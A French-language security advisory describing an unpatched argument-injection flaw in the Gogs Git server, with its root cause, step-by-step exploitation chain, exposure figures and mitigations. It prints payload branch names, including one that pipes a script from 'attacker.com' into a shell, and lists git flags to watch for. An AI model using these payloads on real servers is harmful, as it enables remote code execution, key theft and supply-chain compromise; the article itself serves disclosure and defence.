Gogs 0-day RCE non patchée : injection argument Git, Metasploit dispo

Les faits

Le 28 mai 2026, les chercheurs de Rapid7 ont publié l'avis GHSA-qf6p-p7ww-cwr9 documentant une vulnérabilité 0-day d'injection d'argument dans Gogs, le serveur Git auto-hébergé open source écrit en Go. La faille n'a pas encore reçu d'identifiant CVE officiel au moment de la publication. Le score CVSSv4 est établi à 9.4 Critique. Aucun correctif n'a été publié par les mainteneurs de Gogs au 31 mai 2026, malgré un signalement initial daté du 17 mars 2026 — soit plus de 70 jours sans réponse de la part du projet.

Gogs est une alternative légère à GitHub auto-hébergée, largement adoptée par des équipes de développement, des universités, des PME et des projets open source qui souhaitent conserver le contrôle de leur infrastructure de code source. Les versions 0.14.2 (stable) et 0.15.0+dev (commit b53d3162) sont toutes deux affectées sur Linux, Windows et macOS.

Cause profonde (root cause) : La vulnérabilité réside dans la fonction Merge() du fichier internal/database/pull.go. Lors d'une opération de fusion de pull request utilisant la stratégie "Rebase before merging", Gogs construit dynamiquement une commande git rebase de la forme : exec.Command("git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch). La valeur pr.BaseBranch est extraite des paramètres URL et validée uniquement par RevParse — ce qui vérifie que la référence Git résout un objet valide, mais n'effectue aucune sanitisation contre l'injection d'arguments POSIX. Surtout, il n'existe pas de séparateur -- avant le nom de branche pour empêcher git d'interpréter ce nom comme un flag de commande.

La commande git rebase supporte un flag --exec <commande_shell> qui exécute une commande arbitraire via sh -c après chaque commit rejoué. Un attaquant qui crée une branche nommée --exec=touch${IFS}/tmp/pwned fait interpréter ce nom par le serveur comme le flag --exec, exécutant la commande arbitraire sous l'identité du processus Gogs (généralement l'utilisateur git sur Linux).

Transformation d'une faille "authentifiée" en attaque quasi-anonyme : Par défaut, Gogs est configuré avec DISABLE_REGISTRATION = false (inscription ouverte) et MAX_CREATION_LIMIT = -1 (création illimitée de dépôts). N'importe qui peut donc s'inscrire, créer un dépôt, pousser la branche malveillante et déclencher la fusion sans aucune autorisation préalable d'un administrateur. Cette configuration par défaut transforme en pratique une faille "authentifiée" en vecteur d'attaque accessible depuis l'internet public sur toute instance Gogs en configuration standard.

Chaîne d'exploitation complète : (1) L'attaquant crée un compte via l'inscription ouverte. (2) Il crée un dépôt sur l'instance cible. (3) Il pousse un commit sur une branche nommée --exec=curl${IFS}attacker.com/shell.sh|sh. (4) Il ouvre une pull request ciblant une branche de base, avec la branche malveillante comme source. (5) Il déclenche la fusion via "Rebase before merging". (6) Le serveur exécute git rebase --quiet --exec=curl... — le payload s'exécute sous l'identité du processus Gogs. (7) Résultat : reverse shell, dépôt de webshell, exfiltration du code source, vol de clés SSH stockées dans ~/.ssh/ du processus Gogs, ou pivot vers le réseau interne.

Module Metasploit public : Rapid7 a publié un module Metasploit complet et fonctionnel couvrant les modes Linux et Windows. L'exploitation est désormais trivialement automatisable par tout acteur malveillant disposant d'un accès à Metasploit Framework, ce qui abaisse drastiquement la barrière technique. Sur Windows, les restrictions NTFS sur les noms de fichiers empêchent l'utilisation directe de certains métacaractères shell, mais Rapid7 a confirmé une technique de livraison de payload basée sur des fichiers contournant ces restrictions — la faille est donc pleinement multi-plateforme.

Absence de réponse du mainteneur : Rapid7 avait signalé la faille le 17 mars 2026 ; le mainteneur a accusé réception le 28 mars sans livrer de correctif malgré de multiples relances. Rapid7 a soumis une pull request avec un correctif proposé — ajout d'un séparateur -- et validation de l'absence de flags dans les noms de branches — qui attendait toujours validation au 31 mai 2026. Cette situation illustre les risques inhérents à la dépendance sur des projets open source peu maintenus pour des infrastructures critiques.

Surface d'exposition : Shadowserver et Shodan recensent entre 1 141 et 2 400 instances Gogs directement accessibles sur internet. Le parc réel est considérablement plus large en tenant compte des déploiements internes derrière VPN. La faille est particulièrement préoccupante dans les environnements CI/CD où des pipelines de build déclenchent automatiquement des opérations de merge sur des branches créées par des contributeurs externes, selon BleepingComputer et The Hacker News.

Impact et exposition

Toute organisation hébergeant une instance Gogs accessible sans authentification préalable (VPN ou proxy authentifié) est potentiellement exposée à une RCE complète sans interaction humaine au-delà de la création d'un compte utilisateur. Le risque est maximal pour les entreprises de développement logiciel, les universités gérant des dépôts partagés, les projets open source et toute organisation ayant migré de GitHub vers une solution auto-hébergée sans durcir la configuration par défaut.

L'impact d'une exploitation réussie dépasse la compromission du serveur Gogs lui-même : l'accès au compte git ou au répertoire des dépôts permet d'injecter du code malveillant directement dans le code source hébergé, créant un vecteur de compromission de la chaîne d'approvisionnement logicielle (supply chain) pour tout projet utilisant ces dépôts comme source de vérité. Les pipelines CI/CD qui tirent automatiquement les modifications depuis Gogs deviennent des vecteurs de propagation vers les environnements de production.

L'absence de correctif après 70 jours de signalement constitue en elle-même un risque de gouvernance significatif. Les organisations utilisant Gogs ne peuvent pas compter sur une remédiation rapide du fournisseur. La migration vers Gitea — un fork actif de Gogs avec une équipe de sécurité dédiée et des processus de divulgation responsable établis — est recommandée à moyen terme selon les advisories de The Register et de SecurityWeek.

Recommandations immédiates

• Désactiver immédiatement l'inscription ouverte : DISABLE_REGISTRATION = true dans app.ini — supprime le vecteur d'accès non authentifié depuis internet
• Placer l'instance Gogs derrière un VPN ou un reverse proxy avec authentification forte avant d'accéder à l'interface web
• Désactiver l'option "Rebase before merging" dans les paramètres de l'instance Gogs (Admin Panel > Repository Settings)
• Limiter la création de dépôts : MAX_CREATION_LIMIT = 0 pour les utilisateurs non administrateurs
• Surveiller les noms de branches dans les journaux d'activité Gogs pour détecter les patterns contenant --exec, --upload-pack, --receive-pack ou d'autres flags Git
• Envisager une migration vers Gitea (fork actif avec équipe sécurité réactive) si le passage à la version patchée ne peut être garanti rapidement
• Indicateurs de compromission : processus sh -c enfants de git rebase, connexions réseau sortantes inhabituelles depuis le processus Gogs, nouveaux fichiers dans ~/.ssh/authorized_keys de l'utilisateur git, modifications inattendues dans les dépôts hébergés